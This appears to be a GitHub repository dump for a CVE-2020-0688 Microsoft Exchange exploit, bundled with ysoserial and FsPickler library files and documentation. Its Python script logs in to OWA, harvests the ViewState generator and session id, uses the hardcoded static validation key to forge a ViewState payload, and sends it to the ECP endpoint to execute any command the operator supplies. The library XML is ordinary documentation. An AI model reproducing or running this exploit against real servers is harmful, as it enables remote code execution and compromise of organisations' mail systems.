├── CVE-2020-0688.py
└── Release
├── FSharp.Core.dll
├── FSharp.Core.xml
├── FsPickler.CSharp.dll
├── FsPickler.CSharp.pdb
├── FsPickler.CSharp.xml
├── FsPickler.Json.dll
├── FsPickler.Json.pdb
├── FsPickler.Json.xml
├── FsPickler.dll
├── FsPickler.pdb
├── FsPickler.xml
├── Microsoft.PowerShell.Editor.dll
├── NDesk.Options.dll
├── Newtonsoft.Json.dll
├── Newtonsoft.Json.xml
├── System.Management.Automation.dll
├── YamlDotNet.dll
├── YamlDotNet.xml
├── fastjson.dll
├── microsoft.identitymodel.dll
├── ysoserial.exe
├── ysoserial.exe.config
└── ysoserial.pdb
/CVE-2020-0688.py:
--------------------------------------------------------------------------------
1 | import requests
2 | import requests.packages.urllib3
3 | import re
4 | import urllib
5 | import subprocess
6 | import argparse
7 | import sys
8 | requests.packages.urllib3.disable_warnings()
9 |
10 | s = requests.Session()
11 | headers = {
12 | 'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:73.0) Gecko/20100101 Firefox/73.0',
13 | 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
14 | 'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
15 | 'Accept-Encoding': 'gzip, deflate',
16 | 'Connection': 'close',
17 | 'Upgrade-Insecure-Requests': '1'
18 | }
19 |
20 | def getKey(username, password, server):
21 |
22 | data={
23 | 'destination': 'https://{0}/ecp/default.aspx'.format(server),
24 | 'flags': '4',
25 | 'forcedownlevel': 0,
26 | 'username': '{0}'.format(username),
27 | 'password': '{0}'.format(password),
28 | 'passwordText': '',
29 | 'isUtf8':'1',
30 | 'trusted': '4'
31 | }
32 |
33 | max_tries = 3
34 | i = 0
35 |
36 |
37 | while i <= max_tries:
38 | try:
39 | r = s.post('https://{0}/owa/auth.owa'.format(server), data=data, headers=headers, verify=False)
40 | if 'ASP.auth_logon_aspx' not in r.text:
41 | print('[+]Login success')
42 | asp_SessionId = r.cookies['ASP.NET_SessionId']
43 | vsg = re.search('id="__VIEWSTATEGENERATOR" value="(.+?)"', r.text)[1]
44 | print('[+]__VIEWSTATEGENERATOR: {0}'.format(vsg))
45 | print('[+]ASP.NET_SessionId: {0}'.format(asp_SessionId))
46 | return asp_SessionId, vsg
47 | else:
48 | print('Login Failed')
49 | exit()
50 | except (requests.exceptions.ConnectionError, requests.exceptions.ConnectTimeout, requests.exceptions.ReadTimeout, requests.exceptions.Timeout) as e:
51 | print('[-]Network error, will try {0} times'.format(max_tries - i))
52 | except TypeError:
53 | print('[-]Could not find __VIEWSTATEGENERATOR, maybe is\'s not vuln')
54 | exit()
55 | finally:
56 | i += 1
57 | if i > 3:
58 | print('[-]Could not connect to the target, Please check your network')
59 | exit()
60 |
61 | def attack(username, password, server, command):
62 | vsuk, vsg = getKey(username, password, server)
63 | command = 'Release\\ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "{0}" --validationalg="SHA1" --validationkey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF" --generator="{1}" --viewstateuserkey="{2}" --isdebug -islegacy'.format(command, vsg, vsuk)
64 | #print(command)
65 | p = subprocess.Popen(command, stdout = subprocess.PIPE, stdin = subprocess.PIPE)
66 | outinfo, errinfo = p.communicate()
67 | outinfo = outinfo.decode('utf-8').split('\r\n')[4]
68 | url = 'https://' + server + '/ecp/default.aspx?__VIEWSTATEGENERATOR={0}&__VIEWSTATE={1}'.format(vsg, urllib.parse.quote(outinfo))
69 | r = s.get(url, headers=headers, verify=False)
70 | if r.status_code == 500:
71 | print('[+]attack success')
72 | else:
73 | print('[-]status_code is not 500, may be it\'s not vuln')
74 |
75 |
76 |
77 |
78 |
79 |
80 | if __name__ == '__main__':
81 | description = '''
82 | CVE-2020-0688 exp\r\n
83 | work for Exchage2016 and Exchange 2019(Exchange 2013 do not have __VIEWSTATEGENERATOR)\r\n
84 | Example:python3 {0} -s 127.0.0.1 -u lab\\administrator -p xxx -c cmd.exe /c calc.exe\r\n
85 | '''.format(sys.argv[0])
86 | parser = argparse.ArgumentParser(description=description)
87 | parser.add_argument('-s', metavar='server IP or Domain', help='Only need Ip or Domain', required=True)
88 | parser.add_argument('-u', metavar='username', help='example:lab\\administrator', required=True)
89 | parser.add_argument('-p', metavar='password', help='Domain user\'s Password',required=True )
90 | parser.add_argument('-c', metavar='command', help='Execute command', required=True)
91 | args = parser.parse_args()
92 | server = args.s
93 | username = args.u
94 | password = args.p
95 | command = args.c
96 | attack(username, password, server, command)
97 |
--------------------------------------------------------------------------------
/Release/FSharp.Core.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/youncyb/CVE-2020-0688/34f854f155bcbe69af978a480ee18af2e96f42df/Release/FSharp.Core.dll
--------------------------------------------------------------------------------
/Release/FsPickler.CSharp.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/youncyb/CVE-2020-0688/34f854f155bcbe69af978a480ee18af2e96f42df/Release/FsPickler.CSharp.dll
--------------------------------------------------------------------------------
/Release/FsPickler.CSharp.pdb:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/youncyb/CVE-2020-0688/34f854f155bcbe69af978a480ee18af2e96f42df/Release/FsPickler.CSharp.pdb
--------------------------------------------------------------------------------
/Release/FsPickler.CSharp.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | FsPickler.CSharp
5 |
6 |
7 |
8 |
9 | Provides basic serialization functionality.
10 |
11 |
12 |
13 |
14 | Declares that dynamic subtype resolution should be disabled during serialization.
15 | This explicitly prohibits serialization/deserialization of any objects whose type
16 | is specified in the serialization payload. Examples of such types are System.Object,
17 | F# functions and delegates. Defaults to false.
18 |
19 |
20 |
21 | Declares that FsPickler should make no attempt of its own to load Assemblies
22 | that are specified in the serialization format. Will result in a deserialization
23 | exception if required assembly is missing from the current AppDomain. Defaults to false.
24 |
25 |
26 |
27 | Wraps an FsPickler instance in a C# friendly facade.
28 |
29 | FsPickler serializer instance.
30 |
31 |
32 |
33 | Serializes given value to stream.
34 |
35 | serialized value type.
36 | target stream.
37 | serialized value.
38 | payload object for StreamingContext; defaults to null.
39 | stream encoding; defaults to UTF8.
40 | leave stream open; defaults to false.
41 |
42 |
43 |
44 | Deserializes given type from stream.
45 |
46 | deserialized value type.
47 | source stream.
48 | payload object for StreamingContext; defaults to null.
49 | stream encoding; defaults to UTF8.
50 | leave stream open; defaults to false.
51 | deserialized value.
52 |
53 |
54 |
55 | Creates a binary pickle out of a given value.
56 |
57 | serialized value type.
58 | serialized value.
59 | payload object for StreamingContext; defaults to null.
60 | stream encoding; defaults to UTF8.
61 | binary pickle for object.
62 |
63 |
64 |
65 | Instantiates a new object out of a binary pickle.
66 |
67 | type of value to be unpickled.
68 | binary pickle of value.
69 | payload object for StreamingContext; defaults to null.
70 | stream encoding; defaults to UTF8.
71 | unpickled instance.
72 |
73 |
74 |
75 | Defines a binary serializer instance.
76 |
77 |
78 |
79 |
80 | Creates a new BinaryPickler instance.
81 |
82 | force little-endian encoding in primitive arrays but is slower; defaults to false.
83 |
84 |
85 |
86 | Gets or sets the ForceLittleEndian setting.
87 | Uses BinaryWriter rather than Buffer.BlockCopy
88 | for array serializations but is slower.
89 |
90 |
91 |
92 |
93 | Provides a collection of utilities and factory methods.
94 |
95 |
96 |
97 |
98 | Creates a new serializer instance that uses the built-in binary format.
99 |
100 | force little-endian encoding in primitive arrays but is slower; defaults to false.
101 | BinaryPickler instance.
102 |
103 |
104 |
105 | Creates a new serializer instance that uses the XML format.
106 |
107 | indent xml serializations; defaults to false.
108 |
109 |
110 |
111 | Creates a new serializer instances that uses the JSON format.
112 |
113 | indent json serializations; defaults to false.
114 | omit FsPickler metadata at the serialization header; defaults to false.
115 |
116 |
117 |
118 | Creates a new serializer instances that uses the BSON format.
119 |
120 |
121 |
122 |
123 | Checks if given type is serializable.
124 |
125 | input type.
126 |
127 |
128 |
129 | Checks if given type is serializable.
130 |
131 | input type.
132 |
133 |
134 |
135 | Compute size in bytes for given value.
136 |
137 | input value type.
138 | input value.
139 |
140 |
141 |
142 |
143 | Computes an 128-bit MurMur3 hash for given value.
144 |
145 | input value type.
146 | input value.
147 | 128-bit hashcode.
148 |
149 |
150 |
151 | Traverses a serializable object graph using an IObjectVisitor implementation.
152 |
153 | graph type.
154 | visitor implementation.
155 | input graph.
156 |
157 |
158 |
159 | Performs an in-memory, deep cloning of provided serializable object graph.
160 | Cloning is performed on a node-to-node basis and does not make use of intermediate
161 | serialization buffers.
162 |
163 | graph type.
164 | object to be cloned.
165 | payload object for StreamingContext; defaults to null.
166 | Clone of provided object graph.
167 |
168 |
169 |
170 | Traverses the object graph, returning if serializable
171 | or raising an exception if not.
172 |
173 | Type of the object graph to be checked.
174 | Graph to be checked.
175 |
176 |
177 |
178 | Defines a Bson serializer instance.
179 |
180 |
181 |
182 |
183 | Creates a new BsonPickler instance.
184 |
185 |
186 |
187 |
188 | Defines a Json serializer instance.
189 |
190 |
191 |
192 |
193 | Creates a new JsonPickler instance.
194 |
195 | indent Json serializations; defaults to false.
196 | omit FsPickler metadata at the serialization header; defaults to false.
197 |
198 |
199 |
200 | Gets or sets Json serialization indentation.
201 |
202 |
203 |
204 |
205 | Gets or sets whether FsPickler metadata should be read at the Json header.
206 |
207 |
208 |
209 |
210 | Provides basic functionality for text-based serialization.
211 |
212 |
213 |
214 |
215 | Wraps an FsPickler instance in a CsPickler facade.
216 |
217 | FsPickler instance.
218 |
219 |
220 |
221 | Serializes given value to stream.
222 |
223 | serialized value type.
224 | target text writer.
225 | serialized value.
226 | payload object for StreamingContext; defaults to null.
227 | leave stream open; defaults to false.
228 |
229 |
230 |
231 | Deserializes given type from stream.
232 |
233 | deserialized value type.
234 | source text reader.
235 | payload object for StreamingContext; defaults to null.
236 | leave stream open; defaults to false.
237 | deserialized value.
238 |
239 |
240 |
241 | Creates a string pickle out of a given value.
242 |
243 | serialized value type.
244 | serialized value.
245 | payload object for StreamingContext; defaults to null.
246 | binary pickle for object.
247 |
248 |
249 |
250 | Instantiates a new object out of a string pickle.
251 |
252 | type of value to be unpickled.
253 | text pickle of value.
254 | payload object for StreamingContext; defaults to null.
255 | unpickled instance.
256 |
257 |
258 |
259 | Defines an Xml serializer instance.
260 |
261 |
262 |
263 |
264 | Creates a new XmlPickler instance.
265 |
266 | indent xml serializations; defaults to false.
267 |
268 |
269 |
270 | Gets or sets indentation of Xml serializations.
271 |
272 |
273 |
274 |
275 |
--------------------------------------------------------------------------------
/Release/FsPickler.Json.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/youncyb/CVE-2020-0688/34f854f155bcbe69af978a480ee18af2e96f42df/Release/FsPickler.Json.dll
--------------------------------------------------------------------------------
/Release/FsPickler.Json.pdb:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/youncyb/CVE-2020-0688/34f854f155bcbe69af978a480ee18af2e96f42df/Release/FsPickler.Json.pdb
--------------------------------------------------------------------------------
/Release/FsPickler.Json.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 | FsPickler.Json
4 |
5 |
6 |
7 | Json format serializer.
8 |
9 |
10 |
11 |
12 | Json format deserializer
13 |
14 |
15 |
16 |
17 | Factory methods for the Json serialization format.
18 |
19 |
20 |
21 |
22 | BSON format factory methods.
23 |
24 |
25 |
26 |
27 | Initializes a new FsPickler serializer instance that uses the JSON format.
28 |
29 | indent out Json pickles.
30 | omit FsPickler header in Json pickles.
31 | specify a custom type name converter.
32 | Specify a custom pickler resolver/cache for serialization. Defaults to the singleton pickler cache.
33 |
34 |
35 |
36 | Initializes a new FsPickler serializer instance that uses the BSON format.
37 |
38 | specify a custom type name converter.
39 |
40 |
41 |
42 | FsPickler static methods.
43 |
44 |
45 |
46 |
47 | BSON pickler instance.
48 |
49 |
50 |
51 |
52 | Gets or sets whether top-level sequences should be serialized using the custom separator.
53 |
54 |
55 |
56 |
57 | Gets or sets a non-null whitespace string that serves as a custom, top-level sequence separator.
58 |
59 |
60 |
61 |
62 | Gets or sets whether FsPickler headers should be ignored in pickle format.
63 |
64 |
65 |
66 |
67 | Gets or sets whether Json output should be indented.
68 |
69 |
70 |
71 |
72 | Gets or sets whether top-level sequences should be serialized using the custom separator.
73 |
74 |
75 |
76 |
77 | Gets or sets a non-null whitespace string that serves as a custom, top-level sequence separator.
78 |
79 |
80 |
81 |
82 | Gets or sets whether FsPickler headers should be ignored in pickle format.
83 |
84 |
85 |
86 |
87 | Gets or sets whether Json output should be indented.
88 |
89 |
90 |
91 |
92 | Initializes a new Json pickler instance.
93 |
94 | indent out Json pickles.
95 | omit FsPickler header in Json pickles.
96 | specify a custom type name converter.
97 | Specify a custom pickler resolver/cache for serialization. Defaults to the singleton pickler cache.
98 |
99 |
100 |
101 | Json pickler instance.
102 |
103 |
104 |
105 |
106 | Checks that set of enumeration flags has given flag
107 |
108 | Flags to be checked.
109 | Flag to be satisfied.
110 |
111 |
112 |
113 | Unpickles a value from BSON.
114 |
115 | utilized pickler.
116 | input pickle.
117 |
118 |
119 |
120 | Pickles a value to BSON.
121 |
122 | utilized pickler.
123 | input value.
124 |
125 |
126 |
127 | Bson pickling methods
128 |
129 |
130 |
131 |
132 | Unpickles a value from Json.
133 |
134 | utilized pickler.
135 | input pickle.
136 |
137 |
138 |
139 | Pickles a value to Json.
140 |
141 | utilized pickler.
142 | input value.
143 |
144 |
145 |
146 | Json pickling methods
147 |
148 |
149 |
150 |
151 |
--------------------------------------------------------------------------------
/Release/FsPickler.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/youncyb/CVE-2020-0688/34f854f155bcbe69af978a480ee18af2e96f42df/Release/FsPickler.dll
--------------------------------------------------------------------------------
/Release/FsPickler.pdb:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/youncyb/CVE-2020-0688/34f854f155bcbe69af978a480ee18af2e96f42df/Release/FsPickler.pdb
--------------------------------------------------------------------------------
/Release/FsPickler.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 | FsPickler
4 |
5 |
6 |
7 | Property shapes for the type
8 |
9 |
10 |
11 |
12 | True iff POCO is a struct
13 |
14 |
15 |
16 |
17 | Field shapes for the type
18 |
19 |
20 |
21 |
22 | Constructor shapes for the type
23 |
24 |
25 |
26 |
27 | Creates an uninitialized instance for POCO
28 |
29 |
30 |
31 |
32 | Denotes any .NET type that is either a class or a struct
33 |
34 |
35 |
36 |
37 | Property shapes for the type
38 |
39 |
40 |
41 |
42 | True iff POCO is a struct
43 |
44 |
45 |
46 |
47 | Field shapes for the type
48 |
49 |
50 |
51 |
52 | Constructor shapes for the type
53 |
54 |
55 |
56 |
57 | Denotes any .NET type that is either a class or a struct
58 |
59 |
60 |
61 |
62 | Property shapes for C# record
63 |
64 |
65 |
66 |
67 | Gets the default constructor info defined in the type
68 |
69 |
70 |
71 |
72 | Creates an uninitialized instance for given C# record
73 |
74 |
75 |
76 |
77 | Denotes a type that behaves like a C# record:
78 | Carries a parameterless constructor and settable properties
79 |
80 |
81 |
82 |
83 | Gettable and Settable properties for C# Record
84 |
85 |
86 |
87 |
88 | Denotes a type that behaves like a mutable C# record:
89 | Carries a parameterless constructor and settable properties
90 |
91 |
92 |
93 |
94 | Case shapes for given union type
95 |
96 |
97 |
98 |
99 | Gets the underlying tag id for given union case name
100 |
101 |
102 |
103 |
104 | Gets the underlying tag id for given union instance
105 |
106 |
107 |
108 |
109 | Denotes an F# Union shape
110 |
111 |
112 |
113 |
114 | Case shapes for given union type
115 |
116 |
117 |
118 |
119 | Denotes an F# Union shape
120 |
121 |
122 |
123 |
124 | Field shapes for union case
125 |
126 |
127 |
128 |
129 | Underlying FSharp.Reflection.UnionCaseInfo description
130 |
131 |
132 |
133 |
134 | Creates an uninitialized instance for specific union case
135 |
136 |
137 |
138 |
139 | Denotes an F# union case shape
140 |
141 |
142 |
143 |
144 | Field shapes for union case
145 |
146 |
147 |
148 |
149 | Underlying FSharp.Reflection.UnionCaseInfo description
150 |
151 |
152 |
153 |
154 | Denotes an F# union case shape
155 |
156 |
157 |
158 |
159 | F# record field shapes
160 |
161 |
162 |
163 |
164 | Creates an uninitialized instance for given record
165 |
166 |
167 |
168 |
169 | Identifies an F# record type
170 |
171 |
172 |
173 |
174 | F# record field shapes
175 |
176 |
177 |
178 |
179 | Denotes an F# record type
180 |
181 |
182 |
183 |
184 | Tuple element shape definitions
185 |
186 |
187 |
188 |
189 | Creates an uninitialized tuple instance of given type
190 |
191 |
192 |
193 |
194 | Identifies a specific System.Tuple shape
195 |
196 |
197 |
198 |
199 | Tuple element shape definitions
200 |
201 |
202 |
203 |
204 | Denotes a specific System.Tuple shape
205 |
206 |
207 |
208 |
209 | Creates an instance of declaring type with supplied constructor args
210 |
211 |
212 |
213 |
214 | Identifies a constructor implementation shape
215 |
216 |
217 |
218 |
219 | Identifies a constructor implementation shape
220 |
221 |
222 |
223 |
224 | Denotes whether constructor is public
225 |
226 |
227 |
228 |
229 | ConstructorInfo instance
230 |
231 |
232 |
233 |
234 | Denotes the arity of the constructor arguments
235 |
236 |
237 |
238 |
239 | Identifies a constructor implementation shape
240 |
241 |
242 |
243 |
244 | Injects a value to member of given instance
245 |
246 |
247 |
248 |
249 | Identifies an instance member that defines
250 | a mutable value in a class instance, typically a field or property
251 |
252 |
253 |
254 |
255 | Identifies an instance member that defines
256 | a mutable value in a class instance, typically a field or property
257 |
258 |
259 |
260 |
261 | The actual System.Reflection.MemberInfo corresponding to member
262 |
263 |
264 |
265 |
266 | Human-readable member identifier
267 |
268 |
269 |
270 |
271 | True iff member is contained within a struct
272 |
273 |
274 |
275 |
276 | True iff member is public
277 |
278 |
279 |
280 |
281 | Projects an instance to member of given value
282 |
283 |
284 |
285 |
286 | Identifies an instance member that defines
287 | a value in a class instance, typically a field or property
288 |
289 |
290 |
291 |
292 | Identifies an instance member that defines
293 | a value in a class instance, typically a field or property
294 |
295 |
296 |
297 |
298 | The actual System.Reflection.MemberInfo corresponding to member
299 |
300 |
301 |
302 |
303 | Type of value stored by member
304 |
305 |
306 |
307 |
308 | Human-readable member identifier
309 |
310 |
311 |
312 |
313 | True iff member is contained within a struct
314 |
315 |
316 |
317 |
318 | True iff member is public
319 |
320 |
321 |
322 |
323 | Identifies an instance member that defines
324 | a value in a class instance, typically a field or property
325 |
326 |
327 |
328 |
329 | Gets the rank of the array type shape
330 |
331 |
332 |
333 |
334 | Gets the rank of the array type shape
335 |
336 |
337 |
338 |
339 | Encapsulates a type variable that can be accessed using type shape visitors
340 |
341 |
342 |
343 |
344 | Creates a type shape instance from the underlying
345 | type of a given value.
346 |
347 | Non-null value to extract shape data from.
348 |
349 |
350 |
351 | Creates a type shape instance for given type
352 |
353 |
354 |
355 |
356 | Creates a type shape instance for given type
357 |
358 | System.Type to be resolved.
359 |
360 |
361 |
362 | Encapsulates a type variable that can be accessed using type shape visitors
363 |
364 |
365 |
366 |
367 | Used to extract the type variable contained in a specific shape
368 |
369 |
370 |
371 |
372 | Provides a simple breakdown of basic kinds of types.
373 | Used for easier extraction of type shapes in the active pattern implementations.
374 |
375 |
376 |
377 |
378 | Typed variation of the shapeof operator
379 |
380 |
381 |
382 |
383 | Creates a type shape instance for given type
384 |
385 |
386 |
387 |
388 | Correctly resolves if type is assignable to interface
389 |
390 |
391 |
392 |
393 | Generic edition of the activator method which support type parameters and private types
394 |
395 |
396 |
397 |
398 | Recognizes POCO shapes, .NET types that are either classes or structs
399 |
400 |
401 |
402 |
403 | Recognizes shapes that look like C# record classes
404 | They are classes with parameterless constructors and settable properties
405 |
406 |
407 |
408 |
409 | Recognizes shapes that are System.Tuple instances of arbitrary arity
410 |
411 |
412 |
413 |
414 | Recognizes shapes that are F# unions
415 |
416 |
417 |
418 |
419 | Recognizes shapes that are F# records
420 |
421 |
422 |
423 |
424 | Recognizes shapes that implement System.Collections.Generic.IEnumerable<_>
425 |
426 |
427 |
428 |
429 | Recognizes shapes that implement System.Collections.Generic.ICollection<_>
430 |
431 |
432 |
433 |
434 | Recognizes shapes of F# function types
435 |
436 |
437 |
438 |
439 | Recognizes shapes of F# Choice<_,_,_,_,_,_,_> types
440 |
441 |
442 |
443 |
444 | Recognizes shapes of F# Choice<_,_,_,_,_,_> types
445 |
446 |
447 |
448 |
449 | Recognizes shapes of F# Choice<_,_,_,_,_> types
450 |
451 |
452 |
453 |
454 | Recognizes shapes of F# Choice<_,_,_,_> types
455 |
456 |
457 |
458 |
459 | Recognizes shapes of F# Choice<_,_,_> types
460 |
461 |
462 |
463 |
464 | Recognizes shapes of F# Choice<_,_> types
465 |
466 |
467 |
468 |
469 | Recognizes shapes of F# map types
470 |
471 |
472 |
473 |
474 | Recognizes shapes of F# set types
475 |
476 |
477 |
478 |
479 | Recognizes shapes of F# ref types
480 |
481 |
482 |
483 |
484 | Recognizes shapes of F# option types
485 |
486 |
487 |
488 |
489 | Recognizes shapes of F# list types
490 |
491 |
492 |
493 |
494 | Recognizes instances of System.Tuple<_,_,_,_,_,_,_,_>
495 |
496 |
497 |
498 |
499 | Recognizes instances of System.Tuple<_,_,_,_,_,_,_>
500 |
501 |
502 |
503 |
504 | Recognizes instances of System.Tuple<_,_,_,_,_,_>
505 |
506 |
507 |
508 |
509 | Recognizes instances of System.Tuple<_,_,_,_,_>
510 |
511 |
512 |
513 |
514 | Recognizes instances of System.Tuple<_,_,_,_>
515 |
516 |
517 |
518 |
519 | Recognizes instances of System.Tuple<_,_,_>
520 |
521 |
522 |
523 |
524 | Recognizes instances of System.Tuple<_,_>
525 |
526 |
527 |
528 |
529 | Recognizes instances of System.Tuple<_>
530 |
531 |
532 |
533 |
534 | Recognizes shapes that are .NET arrays
535 |
536 |
537 |
538 |
539 | Recognizes shapes that implement ISerializable
540 |
541 |
542 |
543 |
544 | Recognizes shapes that inherit from System.Exception
545 |
546 |
547 |
548 |
549 | Recognizes shapes that inherit from System.Delegate
550 |
551 |
552 |
553 |
554 | Recognizes shapes that are instances of System.Collections.Generic.List<_>
555 |
556 |
557 |
558 |
559 | Recognizes shapes that are instances of System.Collections.Generic.HashSet<_>
560 |
561 |
562 |
563 |
564 | Recognizes shapes that are instances of System.Collections.Generic.Dictionary<_,_>
565 |
566 |
567 |
568 |
569 | Recognizes shapes that are instances of System.Collections.Generic.KeyValuePair<_,_>
570 |
571 |
572 |
573 |
574 | Recognizes shapes that carry a parameterless constructor
575 |
576 |
577 |
578 |
579 | Identifies whether shape satisfies the 'struct' or 'not struct' constraint
580 |
581 |
582 |
583 |
584 | Recognizes any type that satisfies the F# `comparison` constraint
585 |
586 |
587 |
588 |
589 | Recognizes any type that satisfies the F# `equality` constraint
590 |
591 |
592 |
593 |
594 | Recognizes any type that is a .NET enumeration
595 |
596 |
597 |
598 |
599 | Recognizes any type that is a System.Nullable instance
600 |
601 |
602 |
603 |
604 | correctly resolves if type is assignable to interface
605 |
606 |
607 |
608 |
609 | The nested field that caused this type to be non-serializable
610 |
611 |
612 |
613 |
614 | raised by pickler generator whenever an unsupported type is encountered in the type graph.
615 |
616 |
617 |
618 |
619 | raised by pickler generator whenever an unexpected error is encountered.
620 |
621 |
622 |
623 |
624 | Raised when pickle is of invalid type.
625 |
626 |
627 |
628 |
629 | Base exception raised by the FsPickler library.
630 |
631 |
632 |
633 |
634 | Number of objects that have been sifted from parent graph.
635 |
636 |
637 |
638 |
639 | Declares a sifted version of a version of type 'T
640 | Is generated by the sifting implementation of FsPickler.
641 |
642 |
643 |
644 |
645 | A type name converter that forces deserialization uses the default
646 | FSharp.Core version that is loaded in the current AppDomain
647 |
648 |
649 |
650 |
651 | Defines a type conversion scheme in which strong assembly info is dropped
652 | at deserialization.
653 |
654 |
655 |
656 |
657 | TypeInfo to be converted at deserialization
658 |
659 |
660 |
661 |
662 | TypeInfo to be recorded to serialization
663 |
664 |
665 |
666 |
667 | Provides facility for user-defined type conversion at
668 | serialization and deserialization.
669 |
670 |
671 |
672 |
673 | Returns assembly qualified name string from given assembly info.
674 |
675 |
676 |
677 |
678 | Defines a new System.Reflection.AssemblyName from given record.
679 |
680 |
681 |
682 |
683 | Initializes a new record out of a given assembly name.
684 |
685 |
686 |
687 |
688 |
689 | Initializes a new record out of a given assembly.
690 |
691 | input assembly.
692 |
693 |
694 |
695 | An immutable, structurally equatable version of System.Reflection.AssemblyName.
696 |
697 |
698 |
699 |
700 | Assembly Information
701 |
702 |
703 |
704 |
705 | Type name
706 |
707 |
708 |
709 |
710 | Serialization information for named types.
711 |
712 |
713 |
714 |
715 | Specifies that the type is not serializable but can be freely cloned/hashed
716 | by maintaining identical references when found inside object graphs.
717 |
718 |
719 |
720 |
721 | Specifies that the pickler for this type is to be generated using
722 | the static method 'TypeDef.CreatePickler : IPicklerResolver -> Pickler<TypeDef>'.
723 |
724 |
725 |
726 |
727 | Specifies runtime properties of serialized objects.
728 |
729 |
730 |
731 |
732 | Pickler generation metadata.
733 |
734 |
735 |
736 |
737 | Defines a stratification of .NET types from simplest to more complex.
738 |
739 |
740 |
741 |
742 | Initializes a new format writer
743 |
744 |
745 |
746 |
747 | Initializes a new format reader
748 |
749 |
750 |
751 |
752 | Factory abstraction for text-based pickle formats.
753 |
754 |
755 |
756 |
757 | Pickle format name
758 |
759 |
760 |
761 |
762 | Specifies the encoding intended as default for this pickle format
763 |
764 |
765 |
766 |
767 | Initializes a new format writer
768 |
769 |
770 |
771 |
772 | Initializes a new format reader
773 |
774 |
775 |
776 |
777 | Factory abstraction for binary pickle formats.
778 |
779 |
780 |
781 |
782 | Serialize enumerations using the slower Enum.Parse/Enum.Format methods
783 |
784 |
785 |
786 |
787 | If specified, serializes full union case name for readability.
788 |
789 |
790 |
791 |
792 | Specifies if the format favors prefixing of sequence lengths where applicable.
793 | This is offered for performance and is mostly used by binary formats.
794 |
795 |
796 |
797 |
798 | specifies if the format supports custom serialization for primitive arrays.
799 | this functionality is reserved for binary formats that use Buffer.BlockCopy
800 |
801 |
802 |
803 |
804 | Copies data into preallocated primitive array.
805 |
806 | array identifier.
807 | target array.
808 |
809 |
810 |
811 | Check if sequence has another element.
812 |
813 |
814 |
815 |
816 | End reading the pickle.
817 |
818 |
819 |
820 |
821 | End reading an object.
822 |
823 |
824 |
825 |
826 | Begin reading the pickle.
827 |
828 | pickle identifier.
829 |
830 |
831 |
832 | Begin reading a new object.
833 |
834 | object identifier.
835 |
836 |
837 |
838 | Deserialization format abstraction.
839 |
840 |
841 |
842 |
843 | Serialize enumerations using the slower Enum.Parse/Enum.Format methods
844 |
845 |
846 |
847 |
848 | If specified, serializes full union case name for readability.
849 |
850 |
851 |
852 |
853 | Specifies if the format favors prefixing of sequence lengths where applicable.
854 | This is offered for performance and is mostly used by binary formats.
855 |
856 |
857 |
858 |
859 | specifies if the format supports custom serialization for primitive arrays.
860 | this functionality is reserved for binary formats that use Buffer.BlockCopy
861 |
862 |
863 |
864 |
865 | Write primitive array contents to pickle
866 |
867 | array identifier.
868 | source array.
869 |
870 |
871 |
872 | Specifies if another sequence element is to follow in the stream.
873 |
874 |
875 |
876 |
877 |
878 | Writes the end of the pickle.
879 |
880 |
881 |
882 |
883 | End write of an object.
884 |
885 |
886 |
887 |
888 | Writes the start of the pickle.
889 |
890 | pickle identifier.
891 |
892 |
893 |
894 | Start writing a new object to the pickle.
895 |
896 | object identifier.
897 | runtime object flags.
898 |
899 |
900 |
901 | Serialization format abstraction.
902 |
903 |
904 |
905 |
906 | Gets the visiting streaming context.
907 |
908 |
909 |
910 |
911 | Contains all state related to object visiting
912 |
913 |
914 |
915 |
916 | Object unsifting state
917 |
918 |
919 |
920 |
921 | Gets the cloning streaming context.
922 |
923 |
924 |
925 |
926 | Object sifting state
927 |
928 |
929 |
930 |
931 | Declares that the current node was found to be of proper subtyped.
932 | Used for proper NodeId generation.
933 |
934 |
935 |
936 |
937 | Create a sifted object using accumulated sifting data
938 |
939 |
940 |
941 |
942 | Contains all state related to object cloning
943 |
944 |
945 |
946 |
947 | Pickler for System.Type serializations.
948 |
949 |
950 |
951 |
952 | Streaming context to the deserialization
953 |
954 |
955 |
956 |
957 | Reflection cache used for quick reflection type deserialization.
958 |
959 |
960 |
961 |
962 | Pickler resolver used for runtime deserializations
963 |
964 |
965 |
966 |
967 | Number of deserialized objects
968 |
969 |
970 |
971 |
972 | Object deserialization cache indexed by id
973 |
974 |
975 |
976 |
977 | In unsifting deserialization instance
978 |
979 |
980 |
981 |
982 | Deserialization format provider
983 |
984 |
985 |
986 |
987 | Do not allow subtype resolution when deserializing classes
988 |
989 |
990 |
991 |
992 | Disable assembly loading when deserializing classes specifying System.Reflection.Assembly instances
993 |
994 |
995 |
996 |
997 | Reset deserializer state.
998 |
999 |
1000 |
1001 |
1002 | Generates an object id for the upcoming object
1003 |
1004 |
1005 |
1006 |
1007 | Register's array instances upon initialization and before
1008 | element deserialization has taken place. This is done to
1009 | properly deserialize cyclic array instances.
1010 |
1011 |
1012 |
1013 |
1014 | Contains all state related to object deserializations
1015 |
1016 |
1017 |
1018 |
1019 | Pickler for serializing System.Type instances.
1020 |
1021 |
1022 |
1023 |
1024 | Streaming context to the serialization
1025 |
1026 |
1027 |
1028 |
1029 | Optional object sifter predicate.
1030 |
1031 |
1032 |
1033 |
1034 | Contains all currently sifted objects.
1035 |
1036 |
1037 |
1038 |
1039 | Cache for quick reflection type serialization.
1040 |
1041 |
1042 |
1043 |
1044 | Pickler resolver instance used for dynamic pickler resolution.
1045 |
1046 |
1047 |
1048 |
1049 | Stack containing all object id's that are currently being serialized.
1050 | Used for identifying cyclic objects.
1051 |
1052 |
1053 |
1054 |
